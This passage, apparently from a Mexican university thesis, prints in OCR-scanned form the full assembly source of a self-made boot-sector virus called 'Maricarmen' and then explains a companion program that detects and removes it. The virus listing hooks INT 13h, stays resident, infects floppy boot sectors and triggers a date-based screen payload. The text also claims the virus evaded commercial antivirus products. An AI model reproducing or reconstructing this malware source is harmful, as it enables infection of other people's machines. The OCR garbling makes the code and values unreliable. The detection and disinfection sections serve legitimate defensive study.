,SALTA PARA EJECUTAR EL 
,CODIGO VIRUS 

:AX•O 
:DS•O ·SEGMENTO DE DATOS 
;SI APUNTA AL SEGUNDO BYTE 
;DEL PROGRAMA DE CARGA 
;AL•CONTENIDO DE LA DIRECCION OS:SI 
;AOIC10NA 7C02h PAAA OBTENER LA 

MOV DI.AX 
.DIRECCION DE COMIENZO DEL PAOGRA;MA DE CARGA 
;GUARDA ESTA OIRECCION EN DI 

MOi Sl,0002h 
M<:N C'.l(14 
MOV AX,9FAOh 
MOV OS.AX 
XOR AX». 
MOV ES,AX 
cw 
REPZ MOVSIJ 

:14 BYTES 

;SEGMENTO DE DATOS • PFAOh 

.es- o 

;TRANSFIERE 24 BYTES DE OS SI 
,AES 01 

ESTA RUTINA CAMBIA Al VECTOR DE INTERAUPCION 
13h POR LA DIAECCION DE LA PORCION ACTIVA DEL 
VIRUS. 
El VECTOR ORIGINAL 13h SE GUARDA EN El VECTOR 
DE LA INTf:RRUPCION e.Oh. 

AX.AA 
OS.AX 
AX.WOAD PTR OS·(004Ch) 
WORD PTR DS.(01&4hJ,A>: 

:SEGMENTO DE CATOS .. O 
:AX•DESPLAZAMIENTODE lAINT. 13h 
:OEZPLAZAMIENTO DE LA INT. eoh-AX 
;AX•SEGMENTO CE LA INT. 13h 

XOA 
MOV 
MOV 
MOV 
MOV 
MOV 
MOV 

MOV 

AX,WOAO PTR DS:[004Eh) 
WORO PTR DS:(01B6hJ.AX 
WORO PTR DS;(004ChJ,007Ch 

WORO PTR OS·(004Eh),9FA0h 

;SEGMENTO DE LA INT. 60h•AX 
:OESPLAZAM!NETO DE LA INT. t3h •DES. 
:Pl.AZAMIENTO CE LA PARTE Ar::rrvA DEL VIRUS 
:SECTOR DE LA INT. T3h"' SECTOR DE 
;LA PARTE A<::mA DEL VIRUS 
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USTADO DEL VIRUS 'MAAICARMEN" (CONTINUAJ 

MOV AX,WORO PTR OS:{G413h] ;AX•BYTES rn9PONIBLfS EN AAM (EN Kb) 
SUD AX,2 

___ w;: ........ ~~.~-~::'~r~~~J.A:J. 
;LE RESTA 2Kb (EN EUOS SE INSTALA El VIRUS) 
;PAOT[;OE Al VIRUS EN LA PARTE ALTA DE LA ME 

JMP 
NOf' 

oso ;EJECUTA EL PROGRAMA DE CARGA ORIGINAL 

i ................................ ·----··--·---·¡ 
RUTINA ACTIVA DEL VIRUS 

; ESTA RUTINA SE EJECUTARA CADA VEZ QUE SEA l1TIUZADA LA INT. 13h 
; ...... .__ .................................... _........._.. .......... ; 
RESID: JMP S2 ;SALTA El AREA DE MENSAJE 
MENSAJE DB ºMARJCARMEN '. '$' ;>.REA DE MENSAJE 
52: sn ;HABIUTA IN'TERAUPCION 

DISCO: 

PUSH DS ;GUARDA TODOS LOS REGISTROS 
PUSH - ES ;EN LA PILA 
PUSH AX 
PUSH BX 
PUSH ex 
PUSH DX 
P\JSH DI 
PUSH SI 
CMP AH,02h 
JZ DISCO 
CMP AH,03h 
JNZ NORMAt 
OR Dl.OL 
JNZ NORMAL 
MOV AH,04h 
INT 1Ah 
CMP OL,06h 
JNZ NO 
MoV AH.~h 
INT 1Ah 
CMP CH.20h 
JNZ NO 
CALL MAL 
JMP NORMAL 

:·es UN INTENTO DE LECTURA? 
:SI ES UNA LECTURA CONTINUA 
;·ES UN INTENTO DE ESCRrr\JRA.? 
;SI NO LO ES EJECUTA LA INT, 13h NORMAL 
;·LA LECTUAA O ESCRfTURA ES EN EL ORNE A? 
;SI NO ES EL ORNE A EJECl!TA LA INT. 13h NORMAL 
;FUNCION PAPA OBTENER LA FECHA 
;OBTIENE LA FECHA 
;·ES ELSEXTODIA OELMES? 
;SI NO ES EL SEXTO DIA EJECUTA NORMAL 
;FUNCION PARA OBTENER LA HORA 
;OBTIENE LA HORA 
:·esL.A VIOESIMA HOAAOELDIA? 
;SI NO ES EJECt.rrA NOAMAl 
;EJECUTA EL OANO 
;EJECUTA LA INT. 13h 

NO: CALL INFECTA ; EFECTUA INFECCION EN El CISCO 
NORMAL: POP SI ;RESTAOLECE TODOS LOS VALORES DE LSO REGISTROS 

POP DI 
POP DX 
POP ex 
POP BX 
POP AX 
POP ES 
POP OS 
INT eOh ;EJECUTA LA INT. 13h 
RETF 0002h 
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LISTADO DEl PROORAMA DETECTOR DE VIRUS (CONTINUA) 

, .................................................................. ; 
RUTINA QUE EFECTUA UN DAÑO 

; EST"' RUTINA SE EJECUTARA El OlA 11 OF. CADA MES, ENTRE LAS 20:00; 
; Y 21 :oo HRS. 

: .... ········---··········-··················--··---.... -; 11.t.L: XOR ex.ex :INICIAllZA CONTAOOR ex-o 
REPITE: MOV AX,0B800h ,SEGMENTO DE DATOS•BaOOh 

MOV OS.AX ;B800h•BUFFEAOEV10EO 
XOR OX,OX 
MCN AX, 1 ~ :CAAACTER CEWRA.L DEL MONITOR 
MOV SI.AX 

ESTA RUTINA EFECTUA El MOVIMIENTO DE CARACTERES 
A LA IZQUIERDA .......................................... 

IZOUIER: INC DX 
XOA BX,BX 

CICL01: MOV DI.SI 
AOO 51,2 
MOV AX,(51} 
MOV jO/j,AX 
INC BX 
CMP ex.ex 
JNZ CICLO! 

ESTA RUTINA EFECTUA EL MOVIMIENTO DE CARACTERES 
HACIA ARRIBA .......................................... 

ARRIDA: XOA BX.BX 
CICL02: MOV 01.Sl 

ADO Sl,160 
MOV AX,jS~ 
MOV jDIJ.AX 
INC BX 
CMP BX,DX 
JNZ CICL02 

ESTA RUTINA EFECTUA El MOVIMIENTO DE CARACTERES 
ALA DERECHA ......................................... 

DERECHA: INC ox 
XOA ex.ex 

CICLOl: MOV DI.SI 
SUB 51,2 
MOV AX,(Slj 
MOV (DIJ.AX 
INC BX 
CMP ex.ex 
JNZ CICL03 
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LISTADO DEL VIRUS 'MARICAAMEN" {CONTINUA) 

----·--.. .-.. --..... 
; ESTA RUTINA EFECTUA El MOVIMIENTO DE CARACTERES 

:~~'!.~---····· ............ . 
ABAJO: XOR BX.BX 
CICL04: MOV Dl,SI 

SUB Sl,teo 
MOV AX,(SIJ 
MOV (Dij.AX 
lNC BX 
CMP ax.ox 
JNZ CICL04 
CMP OX,22 
JNZ IZOUIER 
MOV AX,OOOBh 
MOV WORD PTR (St].~ 

......................................... 
RETARDO: MOV AX,OFFFh 
REPITE2: DEC AX 

JNZ AEPITE2 
; ........... -.......................... ... 

INC 
CMP 
JB 
Ma>I 
Ma>I 
IJa.¡ 

MOV 
INT 
RET 

ex 
CX,025Fh 
REPITE 
AX,CS 
OS,AX 
OX,007Eh 
AH,9 
21h 

;SECTOR DEL MENSAJE 
;DESPLAZAMIENTO DEL MENSAJE 
;FUNCION DE ESCRCfURA EN PANTALLA 
;ESCRIBE MENSAJE ('MARICAAMEN). 

¡ ..................................................................... : 

RUTINA QUE EFEG TUA INFECCION 

; ESTA RUTINA SE EJECUTARA SIEMPRE Y CUANDO NO SEA EL OIA8 DEL 
¡ MES Y ADEMAS NO SE ESTE TRABAJANDO ENTRE LAS 20:00 Y 21 :oo HRS. 

: ........................................................................ ; 
;-........... .-...-
¡ RUTINA QUE LEE El SECTOR CERO DEL DISCO 
; ................................. . 
INFECTA: MOV AX,9FAOh 

MOV OS.AX 
MOV ES.AX 
MOV AX,0201 h 
MOV CX,0001 h 
MOV DX,OOOOh 
MOV BX.0200h 
INT SDh 

;SEGMENTO DE OATOS•9fAOh 
;ES•9FAOh 
;LEER ' SECTOR 
;PRIMER SECTOR DEL DISCO 
;ORIVEA 
;DESPLAZAMIENTO DE OATOS•200h 
;LEE El SECTOR O DEL ORIVE A EN 
:LA DIRECCION 9FAO:o200h 



LIST AOO DEL VIRUS 'MARICAAMEN' (CONTINUA) 

RUTINA QUE VERIFICA SI El DISCO 
YA ESTA INFECTADO 

XOfl BX,BX 
MOV AX,0201h 
MOV SI.AX 
MOV BL.(Sll 
AOO AX,8)( 
INC ... 
MOV SI.AX 

MOV BX.AA 
MOV CX.24 
MOV Ol,001Ah 

CLD 
COMPARA: CMPSB 

CoPlA: 

JNZ COPLA 
OEC ex 
JNZ COMPARA 

AET 

RUTINA QUE SUSTITUYE LOS 24 BYTES 
DEL PROGRAMA DE CARGA ORIGINAL POR 
LOS PRIMEROS 24 BYTES DEL VIRUS .................................... 

MOV 51.BX 

MOV CX,24 
MOV 01,00021'1 

ClD 
REPZ MOVSB 
MOV AX.SI 
SUB ... ~. 
MOV DI.AX 

MOV CX,24 
MOV Sl,OOtAn 

CLO 
REPZ MOVSB 

,SI• OESPlAZAMIENTO DEL INICIO DEL 
:PROGRAMA DE CARGA 

.24 BYTES 

.Dl•DESPLAZAMIENTO DELAREA DONDE 
,SE GURAOARAN LOS 24 PRIMEROS BYTES 
,DEL VIRUS 

:COMPARA 24 BYTES EN OS:S\ CON 
,LOS 24 BYTES EN ES:SI PARA SABER 
;SI EL OOCO VA ESTA INFECTADO 
,SI NO ESTA INFECTADO SA1.TA A lA 
;RUTINA DE INFECCION 
.REGRESA SIN INFECTAR 

,SI APUNTA A LOS 24 PRIMEROS BYTES DEL 
;PROGRAMA CE CARGA 
:24 BYTES 
;DI APUNTA AL A.REA DONDE SE GUARDARAN 
;LOS PRIMEROS 24 BYTES DEL PROGRAMA DE 
,CARGA ORIGINAL 

;TRANSFIERE 24 BYTES DE OS:SI A ES:DI 

.DI APUNTA Al COMIENZO DEL PROGRAMA 
:CE CARGA DEL DISCO A INFECTAR 

;SI APUNTA A LOS PRIMEROS 24 BYTES DEL 
:VIRUS QUE SUSTrTUIRAN A LOS PRIMEROS 
;24 BYTES DEL PROGRAMA CE CARGA DEL DISCO 

;EFECTUA lA SUSTITUCION 
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LISTADO DEL VlRUS 'MARICARMEN" {CONTINUA) 

RUTINA QUE ESCRIBE AL VIRUS EN EL 
SECTOR 11 DELDlSCO Y DEVUELVE AL 
SECTOR CERO CON 24 BYTES SUSTITUIDOS 

MOV 
MOV 
MOV 
MOV 
INT 
MOV 
MOV 
MOV 
MQV 
MOV 
MOV 

"" 
RET 

AX,ro::nh 
OX,OIOOh 
CX,0003h 
BX,OOOOh 
6Dh 
AX,9FCOh 
ES.AX 
AX,0301h 
CX,00Cl1h 
OX,OOOOh 
BX.OOOOh 
6Dh 

;ESCRIBE UN SECTOR 

;ESCRIBE AL SECTOR 11 DEL DISCO EL VIRUS 

;ES-SECTOR DE CATOS 
;ESCRIBE UN SECTOR 

;DESPLAZAMIENTO OE DATOS 
;REGRESA EL SECTOR DE CARGA YA 
;INFECTADO EN EL DISCO 

;--··--· ... ··-.. ··--·······--···· ........... . 
; RUTINA QUE CONTINUA CON LA INSTAlACION 

DEL VIRUS EN UN DISCO SANO ¡--·---............................. ........ 
s: xon ex.ex :ex-o 

MOV AX,otfaot SECTOR 
1tlC NI. 
MOV Sl,AX ;SI APUNTA AL COMIENZO DEL PROGP.AMA 

MOV 
ADO 
INC 
MOV 

MOV 
MOV 

CLD 
AEPZ 

MOV 
SUB 
MOV 

MOV 
MOV 

CLD 

Bl.ISI) 
AX,BX 
AX 
SI.AX 

CX,24 
O~ollaot CAMBIO 

MOVSB 

AX,SI 
AX,24 
D\AX 

CX,24 
61,oHMtl 

;DE CARGA LEIDO 
;BL CONTENIDO DE LA OlRECC10N DS:SI 

;SI APUNTA A LOS 24 BYTES QUE SEPAN 
;SUSTITUIDOS POR LOS PRIMEROS 24 BYTES 
;DEL VIRUS 
;24 BYTES 
;DI APUNTA AL AREA DONDE SE GUAADAAAN 
;LOS 24 BYTES DEL PROGRAMA DE CARGA 
;ORIGINAL 

:ALMACENA LOS 24 BYTES DE OS:SI EN 
;LA OlAECCION ES:OI 

;DI APUITTA A LOS 24 BYTES oue SERAN 
;REMPLAZADOS 

;SI APUNTA A LOS PRIMEROS 24 BYTES 
;DEL VIRUS 
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LISTADO DEL VIRUS 'MA.RlCARMEN" (CONTINUA) 

REPZ Movsa 

xoo """"' Me/.¡ CX,1 
Me/.¡ ax.o 
LEA BX,SECTOR 
INT "'" POPf 
Me/.¡ AX,0301h 
Me/.¡ OX,0100h 

"°' CX,OOQ3h 
LEA BX,VlRUS 
INT 13h 

;•··-·-··· .. ··-······-··+ MCN AH,4Ch 
INT 21h , ..................................... . 

CODSEO ENDS 
END INICIO 

Conclusiones. 

.SUSTITUYE LOS PRIMEROS 24 BYTES DEL 

.VIRUS EN OS.SI A LOS 24 BYTES DEL 

;PROOP.AMA DE CARGA EN ES·OI 

,ORNEA 
;ESCRIBIR 1 SECTOR 
;SECTOR 
:DESPLAZAMIENTO DE BUFFER 
,ESCRIBE El SECTOR EN EL OlSCO 

,ESCRIBE UN SECTOR 

;ESCRIBE ~L VIRUS EN El SECTOR 
;11 OELOISCO 

;RETORNAR AL DOS 

;FIN DEL PROORAMA DE INSTALACION 

Como se puede apreciar, el desarrollo da un virus no es complicado, sino 

por al contrario, pueda efectuarse con mucha facilidad. 

El virus presentado aqul, fue probado en equipos PC's de tecnologla AT, 

con procesadores 80286 y 80386. 

Los paquetes antivirus, tales como el Norton Anti-Virus y el Central Point, los 

cuales son considerados como los más efectivos, no pudieron detectarlo, ni evrrar 

fa infección de las computadoras. Esto pone de manifiesto la que se asevera en el 

capítulo 3, en donde se señala que los paquetes antivirus muestran impotencia 

contra virus nuevos o no clasificados. 
El análisis de este programa da una idea clara de las múltiples deficiencias 

de seguridad presentadas por las computadoras personales, en particular sobre 

el uso de las rutinas de interrupción, las cuales pueden ser utilizadas por cualquier 
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programa, y el manejo de la RAM, que permite la instalación de programas 

residentes en memoria. 

Por otro lado, en el aspecto de detección, se encuentra que la Idea 

generalizada de emplear paquetes antivirus sin conocimiento real del problema o 

sin el enfoque apropiado para la situación particular de los sistemas, ocasiona que 

el desarrollo de nuevas apliaciones víricas se extienda. 
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5 

DESARROLLO DE UNA VACUNA CONTRA EL VIRUS 
CREADO 

El desarrollo de un programa que funcione como una vacuna contra un virus 

especifico implica, antes que nada, un análisis exhaustivo del comportamiento del 

virus en cuestión. 

El anáilisis deductivo del programa vlrico debe arrojar como resultado los 

elementos necesarios para desarrollar un algoritmo que efectúe el efecto Inverso: 

restablecer el estado que tenía el sistema afectado, antes de sufrir el ataque 

(comprendiendo por ataque no sólo la acción destructiva del virus, sino inr.luso el 

flmómeno de infección). 
En este punto debe considerarse que el nuevo virus creado ("Maricarmen"), 

está perfectamente delimitado y su comportamiento y programa es explicado en el 

caphulo 4, de tal manera que el problema de desarrollar un programa vacuna 

contra este virus esta 90% resuelto. 

En el presente capítulo se harán constantes referencias al capítulo 4, a fin de 

fundamentar los principales lineamientos en el desarrollo del programa. Cada 

módulo del programa vacuna se explicará de manera detallada. presentando el 

listado completo del programa, todo esto a fin de qua sea más clara la 

comprensión de la filosofía de programación empleada. 



5.1. Introducción. 

El análisis del comportamiento del virus "Maricarmen" se explica de IT'anera 
detallada en el capitulo 4, asi que aqui, solamente listaremos sus principales 

caracterfsticas: 

El virus se copia en la parte alta de la memoria RAM, en la dirección 

9FAO:OOOOh. 

Sustituye el vector de interrupción 6Dh por el vector de la Interrupción 13h 

Cambia el valor del vector de la interrupción 13h por la dirección de la parte 

activa del virus (dirección en RAM = 9FA0:007Ch), de tal manera que el 

vector apunta al virus. 

Almacena los 24 primeros bytes del programa de carga del sector coro de 
los disco flexibles en un área específica dentro de su programa. 

Sustituye los 24 bytes almacenados por los primeros 24 bytes de su código. 

Resta 2Kb de memoria disponible en RAM a fin de proteger la parte alta de la 

memoria en donde se cargó. 

• Estando activo el virus, inlectará cada disco que se trabaje en el computador, 

siempre y cuando no esté infectado previamente. 

Si se trabaja el sexto dia del mes, entre las 20:00 y 21 :00 hrs. entonces no 

Infectará al disco, pero efectuará algún daño (en este caso es solamente un 

efecto de remolino en la pantalla). 

Todo disco infectado tendrá modificado los primeros 24 bytes del programa 

de carga por los primeros 24 bytes del virus. El resto del virus se localizará 

en el sector 11 (Root Directory) del disco. 

Considerando todos estos puntos, lo primero que debe delimitarse es la 

manera en que se detectará si un sistema está contagiado y segundo, la manera 

en que se desinfectará. 

En la sección 3.3. se presenta un programa en pascal para detectar virus. Este 

programa puada emplearse para la detección del virus "Maricarmen" adicionando 

su firma a la lista de virus reconocidos por el programa. La firma del virus son los 

24 bytes que se localizan en el sector cero, los cuales se presentan en la 

figuraS-1. 
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SECTOR DE CARGA DE UN DISCO "SANO" 
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FIGURA 5-t. COMPARACION DE LOS PRIMEROS 24 BYTES DEL PROORAMA DE CARDA DE UN DISCO 

"'SANO" Y UNO INFECTADO POR EL VIRUS MARJCARMEN. 

Una vez definido el registro correspondiente del virus "Maricarmen", podrá 

emplearse este programa para detectar si un disco esta contaminado por el virus. 

El programa que se explica en este capitulo, no solamente podrá detectar si un 

disco está infectado, sino además podrá "reparar" los discos infectados. 

Cada vez que identifique al virus, enviará un mensaje en la pantalla del 

computador para indicar del descubrimiento y procederá a la desinfección de 

manera automática. El mensaje enviado en pantalla alerta al usuario de la 

Infección, a fin de que tome medidas precautorias y se aboque a identificar el 

origen de la infección, es decir, si un disco se encontró infectado, debe saberse en 

que equipos se ha trabajado, procediendo entonces a analizarse cada uno de 

ellos a fin de conocerse si éstos han sido infectados por el disco o si uno de ellos 
fué el que infectó al disco. 

Al ejecutarse el programa lo primero que realiza es una verificación de la parte 

alta de la memoria, para saber si el virus está activo. En caso de descubrir que el 

virus está instalado en la RAM, se envía un mensaje de alerta para indicárselo al 
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usuario, pidiéndole apagar el computador y reinicializar con un sistema operativo 

no Infectado. 
SI el virus no es encontrado en la parte alta de la memoria, entonces el 

programa vacuna se instala residente en memoria, Interceptando el vector de 

Interrupción 13h, como se aprecia en la figura 5·2. 

INTERRUPCION 13h 
ROM 
BIOS 

FIGURA 5-2.A. INTERRUPCION 13hANTES DE INSTALARSE EL 
PROGRAMA VACUNA. 

INTEARUPCION 13h 

ROM 
BIOS 

VACUNA 

FIGURA 5-2.A. INTERRUPClON 13h ANTES DE INSTALARSE EL 
PROGRAMA VACUNA. 

Esto causa un efecto como el de un virus informático, pero el objetivo por el 

cual se realiza es muy distinto: al tener acceso a las rutinas del BIOS para el 

acceso a Jos discos, cada vez que se efectúe un Intento de lectura o escritura al 

drive A, el programa tendrá Ja oportunidad de checar al disco que se está 
accediendo, a fin de comprobar que no contenga al virus "Maricarmen". 

SI el disco checado no está contaminado, entonces se procede de manera 

normal, de lo contrario, se envía una alerta en pantalla al usuario para indicarlo. En 

este momento, el programa espera que el usuario oprima una tecla, con lo que 

ejecutará el módulo de reparación, para desinfectar al disco. 
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El programa vacuna cuenta con los siguientes módulos: 

• Módulo de Instalación. 

• Módulo Activo. 
• Módulo de chequeo al drive A. 
• Módulo de reparación (desinfección), 

El módulo de instalación carga al programa en memoria, a fin de dejarlo 

residente en ella, interceptando al vector de la interrupción 13h, almacenándolo en 

la variable INTER13 y posteriormente sustituyéndolo por la dirección del módulo 

activo. Antes de efectuar la instalación, ejecuta una rutina de verificación para 

comprobar que el virus no esté instalado en la memoria, de estarlo, desplegará un 
mensa¡e para indicarlo, sugiriendo se apaga el computador y se Inicialice el 

sistema con un disco desinfectado. 

El módulo activo comprueba, cada vez que se quiere leer o escribir en el disco A, 

si el disco accesado está contagiado por el virus. Si no lo está, efectúa una 

emui!llCión oo la interrupción 13h. 

El módulo de chequeo al drive A efectúa la búsqueda de la firma del virus en el 

sector de carga del disco, de esta manera reconoce si el disco está infectado o 

no. La firma del virus se localiza dentro del programa vacuna en la variable FIRMA, 

que consiste de los 24 bytes que se sustituyen por los primeros del programa de 

carga. De reconocerse un disco infectado, se llama la ejecución del módulo de 

reparación. 

El módulo de reparación se encarga de restablecer el programa de carga del 

sector cero y de borrar al virus del sector 11. La reparación del sector cero 

consiste simplemente en restablecer los 24 bytes remplazados del programa de 

carga original, los que astan almacenados dentro del código del virus, en el 

sector 11. 
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5.2. Desarrollo en módulos. 

El programa vacuna se desarrolla para detectar y desinfectar a los discos 

contaminados por el virus Maricarmen. 

La filosofía de programación se fundamenta en el comportamiento del virus, lo 

cual define el comportamiento que debe observar la vacuna. 

En esta sección se explicará a detalle cada uno de los módulos que componen 

al programa vacuna, acompañando la explicación con un diagrama de flujo, para 

su mejor entendimiento. 

Módulo de Instalación. 

Este módulo comienza por llamar a una rutina de verificación de la memoria 

RAM, para confirmar que el virus no esté Instalado en Ja memoria. 

Como se estudió anteriormente, el virus se instala en la parte alta de la 

memoria, en la dirección 9FAO:OOOOh. Dentro del código virus se localizan los 

24 bytes que emplea para infectar al sector de carga de los discos sanos, 

estos 24 bytes son la firma del virus y se localizan en la dirección 9FA0:001Ah. 

Sabiendo esto, es claro que para verificar la existencia del virus en la RAM 

basta con comparar los 24 bytes localizados en esa dirección con la variable 

FIRMA que contiene el código hexadecimal que corresponde a la firma del 

virus y que se encuentra dentro del programa en el área de variables del 

programa, al inicio del mismo, inmediatamente después del espacio reservado 

para almacenar la dirección de la rutina de Interrupción 13h, etiquetada con la 

variable INTER 13. 

La comparación se efectúa empleando la Instrucción CMPS la cual compara el 

byte ubicado en la dirección DS:SI con el que está en la dirección ES:DI. Cada 

vez que efectúa una comparación incrementa automáticamente Jos registros SI 

y DI. El registro ES es inicializado con el segmento del código del programa y 

el registro DS con el valor 9FAOh, que es el valor del segmento en donde se 

Instala el virus, el registro DI apunta al desplazamiento en donde se encuentra 

la vartable FIRMA, en el área de datos del programa, mientras que el registro St 

se Iguala al valor 001 Ah. También se emplea al registro CX como contador de 

bytes, por lo que se le da el valor decimal de 24 (18h), para comparar 24 bytes. 

Al comparar el primer byte se comprueba si el señallzador de ceros en el 

registro de banderas esta puesto a uno, lo que significará que los bytes 

comparados son iguales. Una vez comparado el primer byte, en caso de ser 

164 



iguales, se decrementa el contador de bytes (registro ex¡. La comparación de 

bytes se repite hasta que el registro ex sea igual a cero. 

Si en la verificación, se encuentra que alguno de los bytes comparados son 

diferentes, en ese instante se abandonará la verificación y continuará el 

proceso do instalación de manera normal. 

SI se verifica que los 24 bytes son iguales, entonces se llama a una rutina que 

despliega un mensaje en la pantalla, como el mostrado en la figura 5-4. 

ALEHTA 

LA PARTE ALTA DE LA MEMORIA ESTA INFECTADA POR 
El VIRUS 'MARJC..l.RMEN' 

APAGUE SU COMPUTADOAA Y REINICIAUCELA CON UN 
SISTEMA OPERATNO NO INFECTADO. 

FIGURA 5-<t. MENSAJE DE ALERTA AL DETECTARSE El 
VIRUS EN LA. PARTE ALTA DE LA MEMORIA RAM. 

Este mensaje se encuentra dentro del programa, en el área de datos. el 

despliegue del mensaje se efectúa empleando la interrupción 10h del BIOS. Las 

rutinas del BIOS para la computadora AT extienden la interrupción 1 Oh para incluir 

una opción de escritura de cadena, 'Write String", inicializando AH con el valor 19 

decimal (13h). 

La localización del mensaje que se va a desplegar, para la ·interrupción 10h, es 
indicada por el valor de los registros ES:BP, por lo que se iguala el valor del 

registro ES con el del registro es (segmento de código), que es el segmento del 

programa, y el registro BP apunta al comienzo del mensaje (desplazamiento 

dentro del segmento). El mensaje está etiquetado con el nombre de la variable 

LOG02. El registro DX indica la posición del cursor en donde se empezará a 

desplegar el mensaje, por lo que se le asigna el valor de 0900h, para indicarle que 

comience en el renglón 9, columna O. En el registro BH se indica el número de 

página el cual es inicializado a cero, mientras que el registro AL toma el valor de 

01h para indicarle a la interrupción que después de escribir un caracter, avance el 
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cursor a la siguiente posición. Por último, se le indica a la interrupción cuéntos 

caracteres se van a desplegar, asto en ol registro CX al cual indica 881 caracteres 

(371 h). En realidad el letrero completo ocupa 880 caracteres, paro se agrega uno 

más con el valor 07h que na se Imprime en la pantalla, pero en cambio emtte un 

baap en la bocina del computador. 

Por último se emplea la interrupción 21h, función AH=OSh para esperar un 

caracter del teclado. El pracasadar ostará en espera hasta que se registre un 

código en el buffer de teclado, con lo cual continuará con la ejecución del 

programa. 

El proceso normal de instalación continua de la siguiente manera: 

• Se emplea la Interrupción 21 h con la función AH=35h para extraer la 

dirección de una Interrupción. La dirección de la interrupción que se quiere 

extraer se Indica en el registro AL= 13h. 

Al ejecutarse la interrupción, la dirección de la interrupción 13h se pone en 

los registras ES:BX. Estos valores son alamacenados en la variable llamada 

INTER13, localizada dentro del programa en el área de datos. 

• Se emplea la interrupción 21h ahora con la función AH=25h para sustituir el 

valor de la interrupción 13h. AL=13h para indicar cual interrupción se va a 

sustttuir. 

• La dirección que toma ahora el vector 13h es la contenida en los registros 

DS:DX, por lo que a éstas se les da el valor de la dirección de la parte activa 

del programa, la cual liana la etiqueta INTERCEPINT (INTERCEPta 

INTerrupción). 

Por último, se emplea la interrupción 27h para terminar la ejecución del 

programa, pero dejándola residente en memoria. 

Módulo Activo. 
Este se ejecuta siempre que se emplea la interrupción 13h. La interrupción 13h 

emplea muchas funciones para el manejo de discos, por lo que es muy utilizada 

para escribir y leer en ellas. 

Cada vez que se quiera leer o escribir en un disco, este módulo se activará y 

comenzará por guardar el valor de todas los registros en la pila, para después 

comprobar si es un intento de lectura o escrttura, esto evaluando el contenido del 

registro AH de la siguiente manera: 
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• AH=02 ·lectura. 
• AH=03 ·escritura. 

Si el registro AH tiene alguno de estos valores, entonces se verifica si el intento de 

lectura o escritura es al disco A, esto evaluando si el registro DL tiene un valor de 

cero. 
Una vez comprobado un acceso al disco A para leerlo o escribirlo se procede a 

checar et sector cero, para saber si esta contaminado, llamando al módulo de 

chequeo al drive A. 
Por último, se restablecen los valores de todos los registros y se emula una 

llamada a la interrupción 13h. 

Módulo de chequeo al drlve A. 

Este módulo comienza su ejecución leyendo el sector de carga del disco que se 

esta accesando, almacenándolo en la variable SECTOR, en el área de datos del 

programa. 

Una vez hecho esto, se busca la firma del virus en los primeros 24 bytes del 
programa de carga. Para encontrar la dirección del comienzo de ese programa, 

primero se inicializa et valor del registro AA con la dirección de ta variable 

SECTOR. Debe recordarse que el primer byte es una instrucción de satto y el 

segundo indica el número de bytes a saltar. Por esto, para localizar el comienzo 

del programa de carga solamente se debe sumar 2 al valor del segundo byte. 

La rutina de comparación de los 24 bytes es similar a la utilizada por la rutina 

llamada VERIFICA, la cual se explicó en el módulo de instalación. La única 

daerencia con esta rutina está en los valores de los registros ES,DS,St,DI. Para 

este módulo, los registros ES y OS tendrán el mismo valor que el CS, el SI 

apuntará al comienzo del programa de carga en la variable SECTOR y el DI 
apuntará a la variable FIRMA. 

SI et resultado de la comparación de los 24 bytes es positivo, entonces se llamará 

a una rutina de alarma, la cual despliega un mensaje corno el mostrado en ta 
figura 5-5. 
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ALERTA 

LA PARTE ALTA DE LA MEMORiA ESTA INFECTADA POR 
El VIRUS 'MARICARMEN'. 

OPRIMA CUALQUIER TECLA PARA CONTINUAR, EL DISCO 
BEAAREPARAOOAUTOMATICAMENTE. 

FIGURA 5-!i. MENSAJE DE Al.E.ATA AL DETECTARSE El 
VIRUS EN UN DISCO EN EL ORIVE A. 

El despliegue del mensaje se efectúa empleando la interrupción 1 Oh, con la 

función AH=13h. El registro BP apunta a la dirección del mensaje, el cual se 
encuentra en la variable LOGO. Se asignan los valores de los registros de la 

siguiente manera: 

DX = 0900h : renglón 9, columna O. 

ex = 0371 h : 371 h = 881 caracteres a desplegar 

AX = 1301 h : función 13h, atributo 1 = escribir un caracter y avanzar la posición 

del cursor. 

BX = 004E: BH=O página cero, BL=4E • fondo=4, primer plano=E ( fondo 

rojo, primer plano amarillo). 

Por último se emplea la Interrupción 21 h función 08h para esperar un caracter del 

teclado, que al registrarse en el buffer de teclado, se continuará llamar.do al 

módulo de reparación. 

Módulo de reparación (desinfección). 
Debe recordarse que el virus almacena los 24 bytes originales del programa de 
carga del sector O dentro de su código, en los bytes del 3 al 26, por lo que se 

pueden restablecer a su lugar de origen. 

Para efectuar la reparación, se comienza cargando en la memoria el sector 11 en 

la variable SECTOR11. Dado que el sector de carga ya se había cargado 
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previamente, solamente se desplazan los 24 bytes correspondientes, esto 

mediante el uso de la instrucción MOVBS, que mueve un byte de la dirección 

DS:SI a la dirección ES:DI. Cada vez que un byte es transferido se incrementa el 
valor de los registros SI y DI (por emplearse la instrucción CLD). Por esto, el 

registro SI apunta a los 24 bytes originales dentro de la variable SECTOR11, al 

comienzo del programa de carga dentro de la variable SECTOR. Empleando la 

instrucción AEPZ se puede repetir la instrucción MOVBS CX veces, por lo tanto se 

pone el valor de 24 al registro ex para transferir 24 bytes. 

Terminada esta operación se regresa el sector de carga (SECTOR) al primer 

sector del disco, ya desinfectado. 

Aunque el virus contenido en el sector 11 ya no se podrá ejecutar, se ocupará el 

espacio para registro de archivos del Root Directory. Para evitar esto, se pone a 

cero el contenido de la variable SECTOA11 y se escribe en el sector 11 del disco, 

con lo que se borrará completamente el virus. 
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5.3. Listado del programa vacuna. 

El programa vacuna se desarrolló en lenguaje ensamblador 80286, con una 

estructura modular. Este programa está diseñado para permanecer residente en 

memoria, empleando la interrupción 27h, por lo que una parte de su código 

permanece activo en la memoria (MODULO ACTIVO). Cada vez que se quiera leer 
o escribir un disco on la unidad A, el módulo actlvo ejecuta un chequeo 

automático del disco, a fin de detectar y eliminar al virus MARICARMEN. 

El listado completo del programa se presenta a continuación. 

UNIVERSIDAD NACIONAL AUTONOMA DE MEXICO 
E.N.E.P. ARAGON 

PROGRAMA VACUNA CONTRA EL VIRUS 'MAAICARMEN• 

COOSEQ SEOMENT 
ASSUME CS:CODSEO, DS:CODSEQ 

ORO 100h ;PREFIJO RESERVADO PARA LOS PROGRAMAS DOS 
INtCK>: JMP CAMVEClITT 
¡ ______ ......................................................... ; 

; AREA DE DATOS DEL PROGRAMA ;---················· ................................................. : 
LOOO De 130UP ('1.' 14dupr') 

De 1JOUP('1.' ALERTA 14dup('l 
DB 130UP('1,' .... _.,. ................................. .,,., Hdupf1 
De 130UP('1.' 14dup0 
